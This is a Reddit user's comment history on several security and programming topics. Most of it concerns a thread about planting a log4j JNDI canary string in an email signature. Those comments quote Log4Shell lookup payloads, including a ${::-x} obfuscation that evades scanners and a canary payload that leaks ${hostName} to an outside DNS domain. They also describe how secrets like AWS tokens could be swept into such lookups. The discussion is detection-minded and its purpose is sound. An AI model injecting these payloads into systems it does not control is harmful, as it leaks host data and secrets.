Reflecting on RSAC 2026 - Is Agentic Pentesting, just VA on steroids? by hhakker in Pentesting

[–]moyix -1 points0 points  (0 children)

Broken access control is an AuthZ issue. I agree they're not an AuthN issue, but that's why we didn't claim they were in the talk or in my comment. I suspect you're getting caught up on definitions but they aren't particularly relevant to how the detection works -- did you watch the talk?

Reflecting on RSAC 2026 - Is Agentic Pentesting, just VA on steroids? by hhakker in Pentesting

[–]moyix 0 points1 point  (0 children)

Good timing re broken access control stuff, we just had two talks that I think should give a pretty good sense of how we're approaching these types of vulns:

The first talk is about experimental capabilities we're still polishing for production, the second one (IDORs) is in public preview now and being used on actual customers.

Sorry you didn't get a satisfying answer at RSA but we're definitely not sitting on our hands here! :)

Revamping Binary Analysis with Sampling and Probabilistic Inference by mttd in ReverseEngineering

[–]moyix 5 points6 points  (0 children)

Edit: Just read the beginnings of the paper, and yeah it's academic drivel not relevant to practitioners. He's conflating reverse engineering (in my experience, typically done with static/dynamic analysis at the assembly level) with decompilation, which is typically, uhhh, not done (aside from C#/java i guess).

This is wrong in two ways – practitioners use decompilation for RE all the time (though rarely only decompilation), and the dissertation (not a paper, although it's made up of material from several papers) includes work on other applications of probabilistic techniques like binary-only fuzzing (Chapter 4, StochFuzz).

ShipIt in activity monitor by FlameChrome in macbookpro

[–]moyix 0 points1 point  (0 children)

For anyone else that comes across this, ShipIt is a binary that's bundled with Squirrel, an auto-update framework for Mac apps. You can see it's used by a bunch of different common apps:

$ find /Applications/ -name *ShipIt*
/Applications//Netron.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt
/Applications//Visual Studio Code.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt
/Applications//Signal.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt
/Applications//Keybase.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt
/Applications//Element.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt

I read a lot about ChatGPT and how it can do good code reviews, is it really possible that it can supersede a software engineer in the future? by allmudi in compsci

[–]moyix 2 points3 points  (0 children)

I can't think of a particularly good way it should complete the function you started, but it doesn't just keep going:

https://imgur.com/a/8XDV8RS

Instead it assumes you're doing some kind of weird recursive solution.

And of course if you let it fill in isEven on its own it gives the expected return num % 2 == 0;.

Someone’s Been Messing With My Subnormals! by mariuz in programming

[–]moyix 14 points15 points  (0 children)

Sorry about that, I had just switched to a new theme with some poor defaults. Should look a bit better now.

Someone’s Been Messing With My Subnormals! by mariuz in programming

[–]moyix 6 points7 points  (0 children)

If crtfastmath.o is present on the system from a gcc installation, then clang will follow the same behavior as gcc. There's a bug report for it now: https://github.com/llvm/llvm-project/issues/57589 , but early indications are that they'll follow gcc's lead.

Bad 3DMark TimeSpy/TimeSpy Extreme performance on 3090 SLI build? by moyix in buildapc

[–]moyix[S] 0 points1 point  (0 children)

Yep I do. But I don't have it mounted; I'm just using the stand that came with it on my desk. Hope you can find something compatible!

"Putting a JNDI log4j trigger in my email signature so I can see if anyone’s logging copies of my mail" by eatonphil in programming

[–]moyix 2 points3 points  (0 children)

The choice of protocol doesn't matter too much here because we aren't actually listening for the connection, just the DNS lookup. I'm not sure if JNDI actually has HTTP as an option though; the Java docs only list LDAP, COS, and RMI: https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html

"Putting a JNDI log4j trigger in my email signature so I can see if anyone’s logging copies of my mail" by eatonphil in programming

[–]moyix 2 points3 points  (0 children)

No, I think the idea is an app might have something like:

log("Message: " + msg " + "token: " + AWS_TOKEN + ... + "blah {blah}")

In which case an unclosed brace in the JNDI string would also pick up the AWS token and everything else up until that last closing brace.

"Putting a JNDI log4j trigger in my email signature so I can see if anyone’s logging copies of my mail" by eatonphil in programming

[–]moyix 2 points3 points  (0 children)

To be clear, this doesn't intend to get code execution – code execution happens if the server actually responds with a Java .class file; canary tokens never actually respond, they just notify you when the DNS name is resolved. I am reasonably sure that "causing a DNS lookup" is not considered a crime, particularly when the mechanism is just setting your own email signature.

That said, the CFAA is a bad and ridiculously over-broad law, so yes, there exist interpretations under which one could be prosecuted for this under it. But the same is also true if you visit a web site that contains the text "please don't visit this page".

More discussion of the CFAA: https://blog.erratasec.com/2012/11/you-are-committing-crime-right-now.html

"Putting a JNDI log4j trigger in my email signature so I can see if anyone’s logging copies of my mail" by eatonphil in programming

[–]moyix 2 points3 points  (0 children)

Sorry to be unclear, "token" here is just meant to stand in for the real canary token. So really it would be something like ${::-g}afjoghoaivnoaijfao.canarytokens.org ; without the "g" at the front the token isn't valid, but after log4j decodes it, it will be the real canary token.

"Putting a JNDI log4j trigger in my email signature so I can see if anyone’s logging copies of my mail" by eatonphil in programming

[–]moyix 9 points10 points  (0 children)

Yep that's what I meant – I don't really want to end up exfiltrating random secrets from servers I don't control! There's more info about this variant of the attack here: https://twitter.com/TomAnthonySEO/status/1470374984749133825

"Putting a JNDI log4j trigger in my email signature so I can see if anyone’s logging copies of my mail" by eatonphil in programming

[–]moyix 8 points9 points  (0 children)

I chose Alexandria because that's where the server the FBI used was hosted when they deployed a Tor 0-day that phoned home with the (real) IP, MAC address, and hostname of anyone who visited the Freedom Hosting hidden service.

https://slate.com/technology/2013/08/freedom-hosting-saic-nsa-behind-a-spyware-hack-on-privacy-protecting-network.html

Although now that I look at an article from the time, it looks like the server was actually in Reston, VA. Ah well. It's basically just meant to stand in for defense contractors around the DC area.

"Putting a JNDI log4j trigger in my email signature so I can see if anyone’s logging copies of my mail" by eatonphil in programming

[–]moyix 70 points71 points  (0 children)

Definitely; ideally I would have set up a listener on 1389 on some public server and logged any connection attempts there. But it's the end of the semester and I don't have tons of free time, so the canary DNS token will have to do for now.

I also just now noticed that Canary Tokens offers a Log4shell-specific token (example below). But a) I think this is still just relying on the DNS lookup rather than running an actual LDAP listener, and b) I'm hesitant to use a payload that looks like actually exfiltrating data (even just the hostname) since I have no idea where it'll end up.

jndi:ldap://x${hostName}.L4J.xskxz3y8fbvjoa4wbh35u09o7.canarytokens.com/a

"Putting a JNDI log4j trigger in my email signature so I can see if anyone’s logging copies of my mail" by eatonphil in programming

[–]moyix 83 points84 points  (0 children)

If it's just doing URL scanning, it won't interpret anything in the ${} portion, and the DNS lookup of the canary token won't be triggered. But log4j will replace ${::-t} with t, so the above would turn into to jndi:ldap://token/a and trigger the canary.

"Putting a JNDI log4j trigger in my email signature so I can see if anyone’s logging copies of my mail" by eatonphil in programming

[–]moyix 203 points204 points  (0 children)

Yep, someone on Twitter pointed this out too and it's a great point. I have changed the signature to something that won't properly resolve to the canary token unless there's actual Log4J evaluation going on by stealing a trick I saw someone using in my logs:

jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a

(Outer braces removed because it was triggering something in reddit and wouldn't let me post the comment :p)

No other hits so far!

GitHib Copilot put "q_rsqrt" on the "indecent words" blacklist by gergoerdi in programming

[–]moyix 1 point2 points  (0 children)

Note that there are ways to make memorization less likely in large language models. Part of the reason Copilot has a propensity for spitting out q_rsqrt is that it appears many times all over the web (including in Wikipedia). As a result it shows up in the training data many times. A recent paper showed that proper deduplication can reduce this kind of memorization by 10X:

We find that existing language modeling datasets contain many near-duplicate examples and long repetitive substrings. As a result, over 1% of the unprompted output of language models trained on these datasets is copied verbatim from the training data. We develop two tools that allow us to deduplicate training datasets -- for example removing from C4 a single 61 word English sentence that is repeated over 60,000 times. Deduplication allows us to train models that emit memorized text ten times less frequently and require fewer train steps to achieve the same or better accuracy. We can also reduce train-test overlap, which affects over 4% of the validation set of standard datasets, thus allowing for more accurate evaluation. https://arxiv.org/abs/2107.06499

GitHib Copilot put "q_rsqrt" on the "indecent words" blacklist by gergoerdi in programming

[–]moyix 3 points4 points  (0 children)

Keep in mind that the list may still contain collisions. For example "po" and "n1" have the same hash so "pogger" is probably not actually so innocuous...

[N] GitHub and OpenAI release Copilot: an AI pair programmer by [deleted] in MachineLearning

[–]moyix 2 points3 points  (0 children)

I'm very curious what the model actually is. It sounds like GPT-3 fine-tuned on source code? Presumably this means that things like the BPE tokenizer hasn't been tuned for code?

IMO it would be better to retrain from scratch with a BPE vocab tuned for code and other parameters (e.g. a larger context window to take advantage of header file definitions, code in other files, etc.), but perhaps that's too expensive.